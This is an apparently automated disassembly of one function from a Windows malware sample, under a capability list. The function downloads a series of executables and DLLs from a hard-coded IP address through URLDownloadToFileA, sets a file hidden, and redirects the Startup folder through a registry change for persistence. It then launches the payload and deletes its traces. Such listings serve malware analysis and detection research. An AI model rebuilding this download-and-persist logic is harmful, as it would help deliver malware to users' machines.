Function at 0x401560
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete directory
Delete file
Download url
Enumerate gui resources
Execute command
Get common file path
Get file attributes
Receive data
Set file attributes
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403b8c
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x13d8
call fcn.00403a60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x404298
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4015c4
or eax, 2
push eax
push 0x404298
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4042a4
lea eax, [ebp - 0x648]
push 0x104
push eax
call fcn.00401090
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x648]
add esp, 0xc
push 0
push eax
call esi
push 0x4042b8
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.00401090
add esp, 0xc
lea eax, [ebp - 0x228]
push 0
push eax
call esi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x438]
push 0x4042cc
push eax
call esi
mov eax, dword [0x4042f4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x12d8], xmm0
mov dword [ebp - 0x12d0], eax
movq xmm0, qword [str.156.251.25.44]
mov al, byte [0x4042f8]
mov dword [ebp - 0x12c8], 0xd
mov dword [ebp - 0x12c4], 0xf
movq qword [ebp - 0x12d8], xmm0
mov byte [ebp - 0x12cc], al
mov byte [ebp - 0x12cb], 0
lea eax, [ebp - 0x12d8]
mov dword [ebp - 4], 0
push eax
mov edx, 0x404308
lea ecx, [ebp - 0x12c0]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 1
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xa
jb 0x4016d5
lea eax, [ecx + 0xa]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4016b6
mov eax, dword [edi]
push 0xa
lea esi, [eax + ecx]
push str._Start.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xa], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x4016f4
push 0xa
push str._Start.exe
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xa
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x13b8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x13c8], xmm0
mov dword [ebp - 0x13b4], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x13c8], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x13b8], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x12ac]
cmp ecx, 0xf
jbe 0x40177a
mov edx, dword [ebp - 0x12c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401770
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401770
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x13b4], 0xf
lea ecx, [ebp - 0x438]
push 0
push 0
lea eax, [ebp - 0x13c8]
mov dword [ebp - 0x12b0], 0
cmova eax, dword [ebp - 0x13c8]
push ecx
push eax
push 0
mov dword [ebp - 0x12ac], 0xf
mov byte [ebp - 0x12c0], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x540]
push 0x404310
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404334
push eax
lea ecx, [ebp - 0x13e4]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 4
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x401828
lea eax, [ecx + 8]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401809
mov eax, dword [edi]
push 8
lea esi, [eax + ecx]
push str._Cmd.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 8], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401847
push 8
push str._Cmd.exe
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 8
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x13a0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x13b0], xmm0
mov dword [ebp - 0x139c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x13b0], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x13a0], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x13d0]
cmp ecx, 0xf
jbe 0x4018cd
mov edx, dword [ebp - 0x13e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4018c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4018c3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x139c], 0xf
lea ecx, [ebp - 0x540]
push 0
push 0
lea eax, [ebp - 0x13b0]
mov dword [ebp - 0x13d4], 0
cmova eax, dword [ebp - 0x13b0]
push ecx
push eax
push 0
mov dword [ebp - 0x13d0], 0xf
mov byte [ebp - 0x13e4], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x330]
push 0x40433c
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404368
push eax
lea ecx, [ebp - 0x12c0]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 7
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x16
jb 0x40197b
lea eax, [ecx + 0x16]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x40195c
mov eax, dword [edi]
push 0x16
lea esi, [eax + ecx]
push str._League_of_Legends.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x16], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x40199a
push 0x16
push str._League_of_Legends.exe
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0x16
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1388], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1398], xmm0
mov dword [ebp - 0x1384], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1398], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1388], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x12ac]
cmp ecx, 0xf
jbe 0x401a20
mov edx, dword [ebp - 0x12c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401a16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401a16
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x1384], 0xf
lea ecx, [ebp - 0x330]
push 0
push 0
lea eax, [ebp - 0x1398]
mov dword [ebp - 0x12b0], 0
cmova eax, dword [ebp - 0x1398]
push ecx
push eax
push 0
mov dword [ebp - 0x12ac], 0xf
mov byte [ebp - 0x12c0], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x750]
push 0x404370
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x40439c
push eax
lea ecx, [ebp - 0x13e4]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0xa
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xd
jb 0x401ace
lea eax, [ecx + 0xd]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401aaf
mov eax, dword [edi]
push 0xd
lea esi, [eax + ecx]
push str._msvcr100.dll
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xd], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401aed
push 0xd
push str._msvcr100.dll
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xd
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1370], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1380], xmm0
mov dword [ebp - 0x136c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1380], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1370], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x13d0]
cmp ecx, 0xf
jbe 0x401b73
mov edx, dword [ebp - 0x13e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b69
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x136c], 0xf
lea ecx, [ebp - 0x750]
push 0
push 0
lea eax, [ebp - 0x1380]
mov dword [ebp - 0x13d4], 0
cmova eax, dword [ebp - 0x1380]
push ecx
push eax
push 0
mov dword [ebp - 0x13d0], 0xf
mov byte [ebp - 0x13e4], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x858]
push 0x4043a4
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x4043d0
push eax
lea ecx, [ebp - 0x12c0]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0xd
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xd
jb 0x401c21
lea eax, [ecx + 0xd]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401c02
mov eax, dword [edi]
push 0xd
lea esi, [eax + ecx]
push str._msvcp100.dll
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xd], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401c40
push 0xd
push str._msvcp100.dll
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xd
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1358], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1368], xmm0
mov dword [ebp - 0x1354], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1368], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1358], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x12ac]
cmp ecx, 0xf
jbe 0x401cc6
mov edx, dword [ebp - 0x12c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401cbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401cbc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x1354], 0xf
lea ecx, [ebp - 0x858]
push 0
push 0
lea eax, [ebp - 0x1368]
mov dword [ebp - 0x12b0], 0
cmova eax, dword [ebp - 0x1368]
push ecx
push eax
push 0
mov dword [ebp - 0x12ac], 0xf
mov byte [ebp - 0x12c0], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0x960]
push 0x4043d8
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404404
push eax
lea ecx, [ebp - 0x13e4]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0x10
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xf
jb 0x401d74
lea eax, [ecx + 0xf]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401d55
mov eax, dword [edi]
push 0xf
lea esi, [eax + ecx]
push str._libeSDKOBS.dll
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xf], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401d93
push 0xf
push str._libeSDKOBS.dll
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xf
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1340], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1350], xmm0
mov dword [ebp - 0x133c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1350], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1340], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x13d0]
cmp ecx, 0xf
jbe 0x401e19
mov edx, dword [ebp - 0x13e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401e0f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x133c], 0xf
lea ecx, [ebp - 0x960]
push 0
push 0
lea eax, [ebp - 0x1350]
mov dword [ebp - 0x13d4], 0
cmova eax, dword [ebp - 0x1350]
push ecx
push eax
push 0
mov dword [ebp - 0x13d0], 0xf
mov byte [ebp - 0x13e4], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0xa68]
push 0x40440c
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404438
push eax
lea ecx, [ebp - 0x12c0]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0x13
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xd
jb 0x401ec7
lea eax, [ecx + 0xd]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401ea8
mov eax, dword [edi]
push 0xd
lea esi, [eax + ecx]
push str._msvcr120.dll
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xd], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x401ee6
push 0xd
push str._msvcr120.dll
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xd
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1328], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1338], xmm0
mov dword [ebp - 0x1324], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1338], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1328], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x12ac]
cmp ecx, 0xf
jbe 0x401f6c
mov edx, dword [ebp - 0x12c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401f62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401f62
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x1324], 0xf
lea ecx, [ebp - 0xa68]
push 0
push 0
lea eax, [ebp - 0x1338]
mov dword [ebp - 0x12b0], 0
cmova eax, dword [ebp - 0x1338]
push ecx
push eax
push 0
mov dword [ebp - 0x12ac], 0xf
mov byte [ebp - 0x12c0], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0xb70]
push 0x404440
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404468
push eax
lea ecx, [ebp - 0x13e4]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0x16
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xb
jb 0x40201a
lea eax, [ecx + 0xb]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x401ffb
mov eax, dword [edi]
push 0xb
lea esi, [eax + ecx]
push str._Client.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xb], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x402039
push 0xb
push str._Client.exe
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xb
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x1310], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1320], xmm0
mov dword [ebp - 0x130c], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1320], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x1310], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x13d0]
cmp ecx, 0xf
jbe 0x4020bf
mov edx, dword [ebp - 0x13e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4020b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4020b5
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x130c], 0xf
lea ecx, [ebp - 0xb70]
push 0
push 0
lea eax, [ebp - 0x1320]
mov dword [ebp - 0x13d4], 0
cmova eax, dword [ebp - 0x1320]
push ecx
push eax
push 0
mov dword [ebp - 0x13d0], 0xf
mov byte [ebp - 0x13e4], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0xc78]
push 0x404470
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, 0x404498
push eax
lea ecx, [ebp - 0x12c0]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0x19
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xc
jb 0x40216d
lea eax, [ecx + 0xc]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x40214e
mov eax, dword [edi]
push 0xc
lea esi, [eax + ecx]
push str._360Safe.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xc], 0
add esp, 0xc
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
jmp 0x40218c
push 0xc
push str._360Safe.exe
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0xc
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x12f8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1308], xmm0
mov dword [ebp - 0x12f4], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1308], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x12f8], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x12ac]
cmp ecx, 0xf
jbe 0x402212
mov edx, dword [ebp - 0x12c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402208
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402208
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x12f4], 0xf
lea ecx, [ebp - 0xc78]
push 0
push 0
lea eax, [ebp - 0x1308]
mov dword [ebp - 0x12b0], 0
cmova eax, dword [ebp - 0x1308]
push ecx
push eax
push 0
mov dword [ebp - 0x12ac], 0xf
mov byte [ebp - 0x12c0], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea eax, [ebp - 0xd80]
push 0x4044a0
push eax
call esi
lea eax, [ebp - 0x12d8]
mov edx, str.http:__
push eax
lea ecx, [ebp - 0x13e4]
call fcn.00402a90
add esp, 0xc
mov edi, eax
mov byte [ebp - 4], 0x1c
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x11
jb 0x4022ba
lea eax, [ecx + 0x11]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x4022a1
mov eax, dword [edi]
push 0x11
lea esi, [eax + ecx]
push str._VCRUNTIME140.dll
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x11], 0
jmp 0x4022d9
push 0x11
push str._VCRUNTIME140.dll
mov byte [ebp - 0x13cc], 0
mov ecx, edi
push dword [ebp - 0x13cc]
push 0x11
call fcn.00402bc0
mov edi, eax
mov dword [ebp - 0x12e0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x12f0], xmm0
mov dword [ebp - 0x12dc], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x12f0], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x12e0], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x13d0]
cmp ecx, 0xf
jbe 0x40235f
mov edx, dword [ebp - 0x13e4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402355
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402355
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
cmp dword [ebp - 0x12dc], 0xf
lea ecx, [ebp - 0xd80]
push 0
push 0
lea eax, [ebp - 0x12f0]
mov dword [ebp - 0x13d4], 0
cmova eax, dword [ebp - 0x12f0]
push ecx
push eax
push 0
mov dword [ebp - 0x13d0], 0xf
mov byte [ebp - 0x13e4], 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
push str.start_____C:
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea eax, [ebp - 0xe88]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x12b8]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4023fe
push 0x404260
push 0xffffffffffffffff
push 0x40
push 0x406438
call fcn.004010b0
add esp, 0x10
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
call edi
push 0x406438
lea eax, [ebp - 0xe88]
push eax
lea eax, [ebp - 0x120]
push str._sStarUP
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x12b8]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x402465
push 0x404260
push 0xffffffffffffffff
push 0x40
push 0x406438
call fcn.004010b0
add esp, 0x10
call edi
push 0x406438
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x1098]
push str._s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0xf90]
push str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [ebp - 0xf90]
lea edx, [ebp - 0x438]
lea ecx, [ebp - 0x1098]
push eax
call fcn.00401240
add esp, 4
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x12b8]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4024eb
push 0x404260
push 0xffffffffffffffff
push 0x40
push 0x406438
call fcn.004010b0
add esp, 0x10
call edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x228]
push 0x406438
push eax
lea eax, [ebp - 0x12a8]
push str._s360
push eax
call edi
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x11a0]
push str.__s_
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x11a0]
lea edx, [ebp - 0x330]
lea ecx, [ebp - 0x12a8]
push eax
call fcn.00401240
add esp, 4
push 0x3e8
call esi
push 0
push 0
push 0
lea eax, [ebp - 0x120]
push eax
push 0x4045e4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
cmp eax, 0x20
jle 0x40257c
push 0x7d0
call esi
push 0
push 0x4014d0
call edi
push 0x7d0
call esi
push 0
push 0
push 0
push str.C:
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jle 0x4025b0
push 0x7d0
call esi
push 0
push 0x4014d0
call edi
push 0x7d0
call esi
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea eax, [ebp - 0x438]
push eax
call esi
add esp, 4
lea eax, [ebp - 0x540]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0x120]
add esp, 4
push eax
call esi
lea eax, [ebp - 0x648]
push eax
call esi
mov ecx, dword [ebp - 0x12dc]
cmp ecx, 0xf
jbe 0x402627
mov edx, dword [ebp - 0x12f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40261d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x12f4]
mov dword [ebp - 0x12e0], 0
mov dword [ebp - 0x12dc], 0xf
mov byte [ebp - 0x12f0], 0
cmp ecx, 0xf
jbe 0x40267c
mov edx, dword [ebp - 0x1308]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402672
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x130c]
mov dword [ebp - 0x12f8], 0
mov dword [ebp - 0x12f4], 0xf
mov byte [ebp - 0x1308], 0
cmp ecx, 0xf
jbe 0x4026d1
mov edx, dword [ebp - 0x1320]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4026c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x1324]
mov dword [ebp - 0x1310], 0
mov dword [ebp - 0x130c], 0xf
mov byte [ebp - 0x1320], 0
cmp ecx, 0xf
jbe 0x402726
mov edx, dword [ebp - 0x1338]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40271c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x133c]
mov dword [ebp - 0x1328], 0
mov dword [ebp - 0x1324], 0xf
mov byte [ebp - 0x1338], 0
cmp ecx, 0xf
jbe 0x40277b
mov edx, dword [ebp - 0x1350]
inc ecx
mov eax, edx
cmp ecx, 0x1000
